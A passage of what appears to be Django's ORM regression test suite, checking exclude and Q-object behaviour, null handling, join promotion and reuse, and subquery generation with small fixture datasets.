        Q2 = Q(objectc__objectb__name='deux')
        self.check_union(ObjectA, Q1, Q2)

    def test_BAB_BAC(self):
        Q1 = Q(objecta__objectb__name='deux')
        Q2 = Q(objecta__objectc__name='ein')
        self.check_union(ObjectB, Q1, Q2)

    def test_BAB_BACB(self):
        Q1 = Q(objecta__objectb__name='deux')
        Q2 = Q(objecta__objectc__objectb__name='trois')
        self.check_union(ObjectB, Q1, Q2)

    def test_BA_BCA__BAB_BAC_BCA(self):
        Q1 = Q(objecta__name='one', objectc__objecta__name='two')
        Q2 = Q(objecta__objectc__name='ein', objectc__objecta__name='three', objecta__objectb__name='trois')
        self.check_union(ObjectB, Q1, Q2)


class DefaultValuesInsertTest(TestCase):
    def test_no_extra_params(self):
        """
        Can create an instance of a model with only the PK field (#17056)."
        """
        DumbCategory.objects.create()


class ExcludeTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        f1 = Food.objects.create(name='apples')
        Food.objects.create(name='oranges')
        Eaten.objects.create(food=f1, meal='dinner')
        j1 = Job.objects.create(name='Manager')
        r1 = Responsibility.objects.create(description='Playing golf')
        j2 = Job.objects.create(name='Programmer')
        r2 = Responsibility.objects.create(description='Programming')
        JobResponsibilities.objects.create(job=j1, responsibility=r1)
        JobResponsibilities.objects.create(job=j2, responsibility=r2)

    def test_to_field(self):
        self.assertQuerysetEqual(
            Food.objects.exclude(eaten__meal='dinner'),
            ['<Food: oranges>'])
        self.assertQuerysetEqual(
            Job.objects.exclude(responsibilities__description='Playing golf'),
            ['<Job: Programmer>'])
        self.assertQuerysetEqual(
            Responsibility.objects.exclude(jobs__name='Manager'),
            ['<Responsibility: Programming>'])

    def test_ticket14511(self):
        alex = Person.objects.get_or_create(name='Alex')[0]
        jane = Person.objects.get_or_create(name='Jane')[0]

        oracle = Company.objects.get_or_create(name='Oracle')[0]
        google = Company.objects.get_or_create(name='Google')[0]
        microsoft = Company.objects.get_or_create(name='Microsoft')[0]
        intel = Company.objects.get_or_create(name='Intel')[0]

        def employ(employer, employee, title):
            Employment.objects.get_or_create(employee=employee, employer=employer, title=title)

        employ(oracle, alex, 'Engineer')
        employ(oracle, alex, 'Developer')
        employ(google, alex, 'Engineer')
        employ(google, alex, 'Manager')
        employ(microsoft, alex, 'Manager')
        employ(intel, alex, 'Manager')

        employ(microsoft, jane, 'Developer')
        employ(intel, jane, 'Manager')

        alex_tech_employers = alex.employers.filter(
            employment__title__in=('Engineer', 'Developer')).distinct().order_by('name')
        self.assertQuerysetEqual(alex_tech_employers, [google, oracle], lambda x: x)

        alex_nontech_employers = alex.employers.exclude(
            employment__title__in=('Engineer', 'Developer')).distinct().order_by('name')
        self.assertQuerysetEqual(alex_nontech_employers, [google, intel, microsoft], lambda x: x)


class ExcludeTest17600(TestCase):
    """
    Some regressiontests for ticket #17600. Some of these likely duplicate
    other existing tests.
    """
    @classmethod
    def setUpTestData(cls):
        # Create a few Orders.
        cls.o1 = Order.objects.create(pk=1)
        cls.o2 = Order.objects.create(pk=2)
        cls.o3 = Order.objects.create(pk=3)

        # Create some OrderItems for the first order with homogeneous
        # status_id values
        cls.oi1 = OrderItem.objects.create(order=cls.o1, status=1)
        cls.oi2 = OrderItem.objects.create(order=cls.o1, status=1)
        cls.oi3 = OrderItem.objects.create(order=cls.o1, status=1)

        # Create some OrderItems for the second order with heterogeneous
        # status_id values
        cls.oi4 = OrderItem.objects.create(order=cls.o2, status=1)
        cls.oi5 = OrderItem.objects.create(order=cls.o2, status=2)
        cls.oi6 = OrderItem.objects.create(order=cls.o2, status=3)

        # Create some OrderItems for the second order with heterogeneous
        # status_id values
        cls.oi7 = OrderItem.objects.create(order=cls.o3, status=2)
        cls.oi8 = OrderItem.objects.create(order=cls.o3, status=3)
        cls.oi9 = OrderItem.objects.create(order=cls.o3, status=4)

    def test_exclude_plain(self):
        """
        This should exclude Orders which have some items with status 1
        """
        self.assertQuerysetEqual(
            Order.objects.exclude(items__status=1),
            ['<Order: 3>'])

    def test_exclude_plain_distinct(self):
        """
        This should exclude Orders which have some items with status 1
        """
        self.assertQuerysetEqual(
            Order.objects.exclude(items__status=1).distinct(),
            ['<Order: 3>'])

    def test_exclude_with_q_object_distinct(self):
        """
        This should exclude Orders which have some items with status 1
        """
        self.assertQuerysetEqual(
            Order.objects.exclude(Q(items__status=1)).distinct(),
            ['<Order: 3>'])

    def test_exclude_with_q_object_no_distinct(self):
        """
        This should exclude Orders which have some items with status 1
        """
        self.assertQuerysetEqual(
            Order.objects.exclude(Q(items__status=1)),
            ['<Order: 3>'])

    def test_exclude_with_q_is_equal_to_plain_exclude(self):
        """
        Using exclude(condition) and exclude(Q(condition)) should
        yield the same QuerySet
        """
        self.assertEqual(
            list(Order.objects.exclude(items__status=1).distinct()),
            list(Order.objects.exclude(Q(items__status=1)).distinct()))

    def test_exclude_with_q_is_equal_to_plain_exclude_variation(self):
        """
        Using exclude(condition) and exclude(Q(condition)) should
        yield the same QuerySet
        """
        self.assertEqual(
            list(Order.objects.exclude(items__status=1)),
            list(Order.objects.exclude(Q(items__status=1)).distinct()))

    @unittest.expectedFailure
    def test_only_orders_with_all_items_having_status_1(self):
        """
        This should only return orders having ALL items set to status 1, or
        those items not having any orders at all. The correct way to write
        this query in SQL seems to be using two nested subqueries.
        """
        self.assertQuerysetEqual(
            Order.objects.exclude(~Q(items__status=1)).distinct(),
            ['<Order: 1>'])


class Exclude15786(TestCase):
    """Regression test for #15786"""
    def test_ticket15786(self):
        c1 = SimpleCategory.objects.create(name='c1')
        c2 = SimpleCategory.objects.create(name='c2')
        OneToOneCategory.objects.create(category=c1)
        OneToOneCategory.objects.create(category=c2)
        rel = CategoryRelationship.objects.create(first=c1, second=c2)
        self.assertEqual(
            CategoryRelationship.objects.exclude(
                first__onetoonecategory=F('second__onetoonecategory')
            ).get(), rel
        )


class NullInExcludeTest(TestCase):
    @classmethod
    def setUpTestData(cls):
        NullableName.objects.create(name='i1')
        NullableName.objects.create()

    def test_null_in_exclude_qs(self):
        none_val = '' if connection.features.interprets_empty_strings_as_nulls else None
        self.assertQuerysetEqual(
            NullableName.objects.exclude(name__in=[]),
            ['i1', none_val], attrgetter('name'))
        self.assertQuerysetEqual(
            NullableName.objects.exclude(name__in=['i1']),
            [none_val], attrgetter('name'))
        self.assertQuerysetEqual(
            NullableName.objects.exclude(name__in=['i3']),
            ['i1', none_val], attrgetter('name'))
        inner_qs = NullableName.objects.filter(name='i1').values_list('name')
        self.assertQuerysetEqual(
            NullableName.objects.exclude(name__in=inner_qs),
            [none_val], attrgetter('name'))
        # Check that the inner queryset wasn't executed - it should be turned
        # into subquery above
        self.assertIs(inner_qs._result_cache, None)

    @unittest.expectedFailure
    def test_col_not_in_list_containing_null(self):
        """
        The following case is not handled properly because
        SQL's COL NOT IN (list containing null) handling is too weird to
        abstract away.
        """
        self.assertQuerysetEqual(
            NullableName.objects.exclude(name__in=[None]),
            ['i1'], attrgetter('name'))

    def test_double_exclude(self):
        self.assertEqual(
            list(NullableName.objects.filter(~~Q(name='i1'))),
            list(NullableName.objects.filter(Q(name='i1'))))
        self.assertNotIn(
            'IS NOT NULL',
            str(NullableName.objects.filter(~~Q(name='i1')).query))


class EmptyStringsAsNullTest(TestCase):
    """
    Test that filtering on non-null character fields works as expected.
    The reason for these tests is that Oracle treats '' as NULL, and this
    can cause problems in query construction. Refs #17957.
    """
    @classmethod
    def setUpTestData(cls):
        cls.nc = NamedCategory.objects.create(name='')

    def test_direct_exclude(self):
        self.assertQuerysetEqual(
            NamedCategory.objects.exclude(name__in=['nonexisting']),
            [self.nc.pk], attrgetter('pk')
        )

    def test_joined_exclude(self):
        self.assertQuerysetEqual(
            DumbCategory.objects.exclude(namedcategory__name__in=['nonexisting']),
            [self.nc.pk], attrgetter('pk')
        )

    def test_21001(self):
        foo = NamedCategory.objects.create(name='foo')
        self.assertQuerysetEqual(
            NamedCategory.objects.exclude(name=''),
            [foo.pk], attrgetter('pk')
        )


class ProxyQueryCleanupTest(TestCase):
    def test_evaluated_proxy_count(self):
        """
        Test that generating the query string doesn't alter the query's state
        in irreversible ways. Refs #18248.
        """
        ProxyCategory.objects.create()
        qs = ProxyCategory.objects.all()
        self.assertEqual(qs.count(), 1)
        str(qs.query)
        self.assertEqual(qs.count(), 1)


class WhereNodeTest(TestCase):
    class DummyNode(object):
        def as_sql(self, compiler, connection):
            return 'dummy', []

    class MockCompiler(object):
        def compile(self, node):
            return node.as_sql(self, connection)

        def __call__(self, name):
            return connection.ops.quote_name(name)

    def test_empty_full_handling_conjunction(self):
        compiler = WhereNodeTest.MockCompiler()
        w = WhereNode(children=[NothingNode()])
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('', []))
        w = WhereNode(children=[self.DummyNode(), self.DummyNode()])
        self.assertEqual(w.as_sql(compiler, connection), ('(dummy AND dummy)', []))
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('NOT (dummy AND dummy)', []))
        w = WhereNode(children=[NothingNode(), self.DummyNode()])
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('', []))

    def test_empty_full_handling_disjunction(self):
        compiler = WhereNodeTest.MockCompiler()
        w = WhereNode(children=[NothingNode()], connector='OR')
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('', []))
        w = WhereNode(children=[self.DummyNode(), self.DummyNode()], connector='OR')
        self.assertEqual(w.as_sql(compiler, connection), ('(dummy OR dummy)', []))
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('NOT (dummy OR dummy)', []))
        w = WhereNode(children=[NothingNode(), self.DummyNode()], connector='OR')
        self.assertEqual(w.as_sql(compiler, connection), ('dummy', []))
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('NOT (dummy)', []))

    def test_empty_nodes(self):
        compiler = WhereNodeTest.MockCompiler()
        empty_w = WhereNode()
        w = WhereNode(children=[empty_w, empty_w])
        self.assertEqual(w.as_sql(compiler, connection), ('', []))
        w.negate()
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)
        w.connector = 'OR'
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)
        w.negate()
        self.assertEqual(w.as_sql(compiler, connection), ('', []))
        w = WhereNode(children=[empty_w, NothingNode()], connector='OR')
        self.assertEqual(w.as_sql(compiler, connection), ('', []))
        w = WhereNode(children=[empty_w, NothingNode()], connector='AND')
        with self.assertRaises(EmptyResultSet):
            w.as_sql(compiler, connection)


class IteratorExceptionsTest(TestCase):
    def test_iter_exceptions(self):
        qs = ExtraInfo.objects.only('author')
        with self.assertRaises(AttributeError):
            list(qs)

    def test_invalid_qs_list(self):
        # Test for #19895 - second iteration over invalid queryset
        # raises errors.
        qs = Article.objects.order_by('invalid_column')
        with self.assertRaises(FieldError):
            list(qs)
        with self.assertRaises(FieldError):
            list(qs)


class NullJoinPromotionOrTest(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.d1 = ModelD.objects.create(name='foo')
        d2 = ModelD.objects.create(name='bar')
        cls.a1 = ModelA.objects.create(name='a1', d=cls.d1)
        c = ModelC.objects.create(name='c')
        b = ModelB.objects.create(name='b', c=c)
        cls.a2 = ModelA.objects.create(name='a2', b=b, d=d2)

    def test_ticket_17886(self):
        # The first Q-object is generating the match, the rest of the filters
        # should not remove the match even if they do not match anything. The
        # problem here was that b__name generates a LOUTER JOIN, then
        # b__c__name generates join to c, which the ORM tried to promote but
        # failed as that join isn't nullable.
        q_obj = (
            Q(d__name='foo') |
            Q(b__name='foo') |
            Q(b__c__name='foo')
        )
        qset = ModelA.objects.filter(q_obj)
        self.assertEqual(list(qset), [self.a1])
        # We generate one INNER JOIN to D. The join is direct and not nullable
        # so we can use INNER JOIN for it. However, we can NOT use INNER JOIN
        # for the b->c join, as a->b is nullable.
        self.assertEqual(str(qset.query).count('INNER JOIN'), 1)

    def test_isnull_filter_promotion(self):
        qs = ModelA.objects.filter(Q(b__name__isnull=True))
        self.assertEqual(str(qs.query).count('LEFT OUTER'), 1)
        self.assertEqual(list(qs), [self.a1])

        qs = ModelA.objects.filter(~Q(b__name__isnull=True))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(list(qs), [self.a2])

        qs = ModelA.objects.filter(~~Q(b__name__isnull=True))
        self.assertEqual(str(qs.query).count('LEFT OUTER'), 1)
        self.assertEqual(list(qs), [self.a1])

        qs = ModelA.objects.filter(Q(b__name__isnull=False))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(list(qs), [self.a2])

        qs = ModelA.objects.filter(~Q(b__name__isnull=False))
        self.assertEqual(str(qs.query).count('LEFT OUTER'), 1)
        self.assertEqual(list(qs), [self.a1])

        qs = ModelA.objects.filter(~~Q(b__name__isnull=False))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(list(qs), [self.a2])

    def test_null_join_demotion(self):
        qs = ModelA.objects.filter(Q(b__name__isnull=False) & Q(b__name__isnull=True))
        self.assertIn(' INNER JOIN ', str(qs.query))
        qs = ModelA.objects.filter(Q(b__name__isnull=True) & Q(b__name__isnull=False))
        self.assertIn(' INNER JOIN ', str(qs.query))
        qs = ModelA.objects.filter(Q(b__name__isnull=False) | Q(b__name__isnull=True))
        self.assertIn(' LEFT OUTER JOIN ', str(qs.query))
        qs = ModelA.objects.filter(Q(b__name__isnull=True) | Q(b__name__isnull=False))
        self.assertIn(' LEFT OUTER JOIN ', str(qs.query))

    def test_ticket_21366(self):
        n = Note.objects.create(note='n', misc='m')
        e = ExtraInfo.objects.create(info='info', note=n)
        a = Author.objects.create(name='Author1', num=1, extra=e)
        Ranking.objects.create(rank=1, author=a)
        r1 = Report.objects.create(name='Foo', creator=a)
        r2 = Report.objects.create(name='Bar')
        Report.objects.create(name='Bar', creator=a)
        qs = Report.objects.filter(
            Q(creator__ranking__isnull=True) |
            Q(creator__ranking__rank=1, name='Foo')
        )
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        self.assertEqual(str(qs.query).count(' JOIN '), 2)
        self.assertQuerysetEqual(
            qs.order_by('name'), [r2, r1], lambda x: x)

    def test_ticket_21748(self):
        i1 = Identifier.objects.create(name='i1')
        i2 = Identifier.objects.create(name='i2')
        i3 = Identifier.objects.create(name='i3')
        Program.objects.create(identifier=i1)
        Channel.objects.create(identifier=i1)
        Program.objects.create(identifier=i2)
        self.assertQuerysetEqual(
            Identifier.objects.filter(program=None, channel=None),
            [i3], lambda x: x)
        self.assertQuerysetEqual(
            Identifier.objects.exclude(program=None, channel=None).order_by('name'),
            [i1, i2], lambda x: x)

    def test_ticket_21748_double_negated_and(self):
        i1 = Identifier.objects.create(name='i1')
        i2 = Identifier.objects.create(name='i2')
        Identifier.objects.create(name='i3')
        p1 = Program.objects.create(identifier=i1)
        c1 = Channel.objects.create(identifier=i1)
        Program.objects.create(identifier=i2)
        # Check the ~~Q() (or equivalently .exclude(~Q)) works like Q() for
        # join promotion.
        qs1_doubleneg = Identifier.objects.exclude(~Q(program__id=p1.id, channel__id=c1.id)).order_by('pk')
        qs1_filter = Identifier.objects.filter(program__id=p1.id, channel__id=c1.id).order_by('pk')
        self.assertQuerysetEqual(qs1_doubleneg, qs1_filter, lambda x: x)
        self.assertEqual(str(qs1_filter.query).count('JOIN'),
                         str(qs1_doubleneg.query).count('JOIN'))
        self.assertEqual(2, str(qs1_doubleneg.query).count('INNER JOIN'))
        self.assertEqual(str(qs1_filter.query).count('INNER JOIN'),
                         str(qs1_doubleneg.query).count('INNER JOIN'))

    def test_ticket_21748_double_negated_or(self):
        i1 = Identifier.objects.create(name='i1')
        i2 = Identifier.objects.create(name='i2')
        Identifier.objects.create(name='i3')
        p1 = Program.objects.create(identifier=i1)
        c1 = Channel.objects.create(identifier=i1)
        p2 = Program.objects.create(identifier=i2)
        # Test OR + doubleneg. The expected result is that channel is LOUTER
        # joined, program INNER joined
        qs1_filter = Identifier.objects.filter(
            Q(program__id=p2.id, channel__id=c1.id) | Q(program__id=p1.id)
        ).order_by('pk')
        qs1_doubleneg = Identifier.objects.exclude(
            ~Q(Q(program__id=p2.id, channel__id=c1.id) | Q(program__id=p1.id))
        ).order_by('pk')
        self.assertQuerysetEqual(qs1_doubleneg, qs1_filter, lambda x: x)
        self.assertEqual(str(qs1_filter.query).count('JOIN'),
                         str(qs1_doubleneg.query).count('JOIN'))
        self.assertEqual(1, str(qs1_doubleneg.query).count('INNER JOIN'))
        self.assertEqual(str(qs1_filter.query).count('INNER JOIN'),
                         str(qs1_doubleneg.query).count('INNER JOIN'))

    def test_ticket_21748_complex_filter(self):
        i1 = Identifier.objects.create(name='i1')
        i2 = Identifier.objects.create(name='i2')
        Identifier.objects.create(name='i3')
        p1 = Program.objects.create(identifier=i1)
        c1 = Channel.objects.create(identifier=i1)
        p2 = Program.objects.create(identifier=i2)
        # Finally, a more complex case, one time in a way where each
        # NOT is pushed to lowest level in the boolean tree, and
        # another query where this isn't done.
        qs1 = Identifier.objects.filter(
            ~Q(~Q(program__id=p2.id, channel__id=c1.id) & Q(program__id=p1.id))
        ).order_by('pk')
        qs2 = Identifier.objects.filter(
            Q(Q(program__id=p2.id, channel__id=c1.id) | ~Q(program__id=p1.id))
        ).order_by('pk')
        self.assertQuerysetEqual(qs1, qs2, lambda x: x)
        self.assertEqual(str(qs1.query).count('JOIN'),
                         str(qs2.query).count('JOIN'))
        self.assertEqual(0, str(qs1.query).count('INNER JOIN'))
        self.assertEqual(str(qs1.query).count('INNER JOIN'),
                         str(qs2.query).count('INNER JOIN'))


class ReverseJoinTrimmingTest(TestCase):
    def test_reverse_trimming(self):
        # Check that we don't accidentally trim reverse joins - we can't know
        # if there is anything on the other side of the join, so trimming
        # reverse joins can't be done, ever.
        t = Tag.objects.create()
        qs = Tag.objects.filter(annotation__tag=t.pk)
        self.assertIn('INNER JOIN', str(qs.query))
        self.assertEqual(list(qs), [])


class JoinReuseTest(TestCase):
    """
    Test that the queries reuse joins sensibly (for example, direct joins
    are always reused).
    """
    def test_fk_reuse(self):
        qs = Annotation.objects.filter(tag__name='foo').filter(tag__name='bar')
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_fk_reuse_select_related(self):
        qs = Annotation.objects.filter(tag__name='foo').select_related('tag')
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_fk_reuse_annotation(self):
        qs = Annotation.objects.filter(tag__name='foo').annotate(cnt=Count('tag__name'))
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_fk_reuse_disjunction(self):
        qs = Annotation.objects.filter(Q(tag__name='foo') | Q(tag__name='bar'))
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_fk_reuse_order_by(self):
        qs = Annotation.objects.filter(tag__name='foo').order_by('tag__name')
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_revo2o_reuse(self):
        qs = Detail.objects.filter(member__name='foo').filter(member__name='foo')
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_revfk_noreuse(self):
        qs = Author.objects.filter(report__name='r4').filter(report__name='r1')
        self.assertEqual(str(qs.query).count('JOIN'), 2)


class DisjunctionPromotionTests(TestCase):
    def test_disjunction_promotion_select_related(self):
        fk1 = FK1.objects.create(f1='f1', f2='f2')
        basea = BaseA.objects.create(a=fk1)
        qs = BaseA.objects.filter(Q(a=fk1) | Q(b=2))
        self.assertEqual(str(qs.query).count(' JOIN '), 0)
        qs = qs.select_related('a', 'b')
        self.assertEqual(str(qs.query).count(' INNER JOIN '), 0)
        self.assertEqual(str(qs.query).count(' LEFT OUTER JOIN '), 2)
        with self.assertNumQueries(1):
            self.assertQuerysetEqual(qs, [basea], lambda x: x)
            self.assertEqual(qs[0].a, fk1)
            self.assertIs(qs[0].b, None)

    def test_disjunction_promotion1(self):
        # Pre-existing join, add two ORed filters to the same join,
        # all joins can be INNER JOINS.
        qs = BaseA.objects.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        qs = qs.filter(Q(b__f1='foo') | Q(b__f2='foo'))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 2)
        # Reverse the order of AND and OR filters.
        qs = BaseA.objects.filter(Q(b__f1='foo') | Q(b__f2='foo'))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        qs = qs.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 2)

    def test_disjunction_promotion2(self):
        qs = BaseA.objects.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        # Now we have two different joins in an ORed condition, these
        # must be OUTER joins. The pre-existing join should remain INNER.
        qs = qs.filter(Q(b__f1='foo') | Q(c__f2='foo'))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        # Reverse case.
        qs = BaseA.objects.filter(Q(b__f1='foo') | Q(c__f2='foo'))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        qs = qs.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)

    def test_disjunction_promotion3(self):
        qs = BaseA.objects.filter(a__f2='bar')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        # The ANDed a__f2 filter allows us to use keep using INNER JOIN
        # even inside the ORed case. If the join to a__ returns nothing,
        # the ANDed filter for a__f2 can't be true.
        qs = qs.filter(Q(a__f1='foo') | Q(b__f2='foo'))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)

    def test_disjunction_promotion3_demote(self):
        # This one needs demotion logic: the first filter causes a to be
        # outer joined, the second filter makes it inner join again.
        qs = BaseA.objects.filter(
            Q(a__f1='foo') | Q(b__f2='foo')).filter(a__f2='bar')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)

    def test_disjunction_promotion4_demote(self):
        qs = BaseA.objects.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('JOIN'), 0)
        # Demote needed for the "a" join. It is marked as outer join by
        # above filter (even if it is trimmed away).
        qs = qs.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)

    def test_disjunction_promotion4(self):
        qs = BaseA.objects.filter(a__f1='foo')
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        qs = qs.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)

    def test_disjunction_promotion5_demote(self):
        qs = BaseA.objects.filter(Q(a=1) | Q(a=2))
        # Note that the above filters on a force the join to an
        # inner join even if it is trimmed.
        self.assertEqual(str(qs.query).count('JOIN'), 0)
        qs = qs.filter(Q(a__f1='foo') | Q(b__f1='foo'))
        # So, now the a__f1 join doesn't need promotion.
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        # But b__f1 does.
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)
        qs = BaseA.objects.filter(Q(a__f1='foo') | Q(b__f1='foo'))
        # Now the join to a is created as LOUTER
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        qs = qs.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)

    def test_disjunction_promotion6(self):
        qs = BaseA.objects.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('JOIN'), 0)
        qs = BaseA.objects.filter(Q(a__f1='foo') & Q(b__f1='foo'))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 2)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 0)

        qs = BaseA.objects.filter(Q(a__f1='foo') & Q(b__f1='foo'))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 0)
        self.assertEqual(str(qs.query).count('INNER JOIN'), 2)
        qs = qs.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 2)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 0)

    def test_disjunction_promotion7(self):
        qs = BaseA.objects.filter(Q(a=1) | Q(a=2))
        self.assertEqual(str(qs.query).count('JOIN'), 0)
        qs = BaseA.objects.filter(Q(a__f1='foo') | (Q(b__f1='foo') & Q(a__f1='bar')))
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)
        qs = BaseA.objects.filter(
            (Q(a__f1='foo') | Q(b__f1='foo')) & (Q(a__f1='bar') | Q(c__f1='foo'))
        )
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 3)
        self.assertEqual(str(qs.query).count('INNER JOIN'), 0)
        qs = BaseA.objects.filter(
            (Q(a__f1='foo') | (Q(a__f1='bar')) & (Q(b__f1='bar') | Q(c__f1='foo')))
        )
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)

    def test_disjunction_promotion_fexpression(self):
        qs = BaseA.objects.filter(Q(a__f1=F('b__f1')) | Q(b__f1='foo'))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 1)
        self.assertEqual(str(qs.query).count('INNER JOIN'), 1)
        qs = BaseA.objects.filter(Q(a__f1=F('c__f1')) | Q(b__f1='foo'))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 3)
        qs = BaseA.objects.filter(Q(a__f1=F('b__f1')) | Q(a__f2=F('b__f2')) | Q(c__f1='foo'))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 3)
        qs = BaseA.objects.filter(Q(a__f1=F('c__f1')) | (Q(pk=1) & Q(pk=2)))
        self.assertEqual(str(qs.query).count('LEFT OUTER JOIN'), 2)
        self.assertEqual(str(qs.query).count('INNER JOIN'), 0)


class ManyToManyExcludeTest(TestCase):
    def test_exclude_many_to_many(self):
        Identifier.objects.create(name='extra')
        program = Program.objects.create(identifier=Identifier.objects.create(name='program'))
        channel = Channel.objects.create(identifier=Identifier.objects.create(name='channel'))
        channel.programs.add(program)

        # channel contains 'program1', so all Identifiers except that one
        # should be returned
        self.assertQuerysetEqual(
            Identifier.objects.exclude(program__channel=channel).order_by('name'),
            ['<Identifier: channel>', '<Identifier: extra>']
        )
        self.assertQuerysetEqual(
            Identifier.objects.exclude(program__channel=None).order_by('name'),
            ['<Identifier: program>']
        )

    def test_ticket_12823(self):
        pg3 = Page.objects.create(text='pg3')
        pg2 = Page.objects.create(text='pg2')
        pg1 = Page.objects.create(text='pg1')
        pa1 = Paragraph.objects.create(text='pa1')
        pa1.page.set([pg1, pg2])
        pa2 = Paragraph.objects.create(text='pa2')
        pa2.page.set([pg2, pg3])
        pa3 = Paragraph.objects.create(text='pa3')
        ch1 = Chapter.objects.create(title='ch1', paragraph=pa1)
        ch2 = Chapter.objects.create(title='ch2', paragraph=pa2)
        ch3 = Chapter.objects.create(title='ch3', paragraph=pa3)
        b1 = Book.objects.create(title='b1', chapter=ch1)
        b2 = Book.objects.create(title='b2', chapter=ch2)
        b3 = Book.objects.create(title='b3', chapter=ch3)
        q = Book.objects.exclude(chapter__paragraph__page__text='pg1')
        self.assertNotIn('IS NOT NULL', str(q.query))
        self.assertEqual(len(q), 2)
        self.assertNotIn(b1, q)
        self.assertIn(b2, q)
        self.assertIn(b3, q)


class RelabelCloneTest(TestCase):
    def test_ticket_19964(self):
        my1 = MyObject.objects.create(data='foo')
        my1.parent = my1
        my1.save()
        my2 = MyObject.objects.create(data='bar', parent=my1)
        parents = MyObject.objects.filter(parent=F('id'))
        children = MyObject.objects.filter(parent__in=parents).exclude(parent=F('id'))
        self.assertEqual(list(parents), [my1])
        # Evaluating the children query (which has parents as part of it) does
        # not change results for the parents query.
        self.assertEqual(list(children), [my2])
        self.assertEqual(list(parents), [my1])


class Ticket20101Tests(TestCase):
    def test_ticket_20101(self):
        """
        Tests QuerySet ORed combining in exclude subquery case.
        """
        t = Tag.objects.create(name='foo')
        a1 = Annotation.objects.create(tag=t, name='a1')
        a2 = Annotation.objects.create(tag=t, name='a2')
        a3 = Annotation.objects.create(tag=t, name='a3')
        n = Note.objects.create(note='foo', misc='bar')
        qs1 = Note.objects.exclude(annotation__in=[a1, a2])
        qs2 = Note.objects.filter(annotation__in=[a3])
        self.assertIn(n, qs1)
        self.assertNotIn(n, qs2)
        self.assertIn(n, (qs1 | qs2))


class EmptyStringPromotionTests(TestCase):
    def test_empty_string_promotion(self):
        qs = RelatedObject.objects.filter(single__name='')
        if connection.features.interprets_empty_strings_as_nulls:
            self.assertIn('LEFT OUTER JOIN', str(qs.query))
        else:
            self.assertNotIn('LEFT OUTER JOIN', str(qs.query))


class ValuesSubqueryTests(TestCase):
    def test_values_in_subquery(self):
        # Check that if a values() queryset is used, then the given values
        # will be used instead of forcing use of the relation's field.
        o1 = Order.objects.create(id=-2)
        o2 = Order.objects.create(id=-1)
        oi1 = OrderItem.objects.create(order=o1, status=0)
        oi1.status = oi1.pk
        oi1.save()
        OrderItem.objects.create(order=o2, status=0)

        # The query below should match o1 as it has related order_item
        # with id == status.
        self.assertQuerysetEqual(
            Order.objects.filter(items__in=OrderItem.objects.values_list('status')),
            [o1.pk], lambda x: x.pk)


class DoubleInSubqueryTests(TestCase):
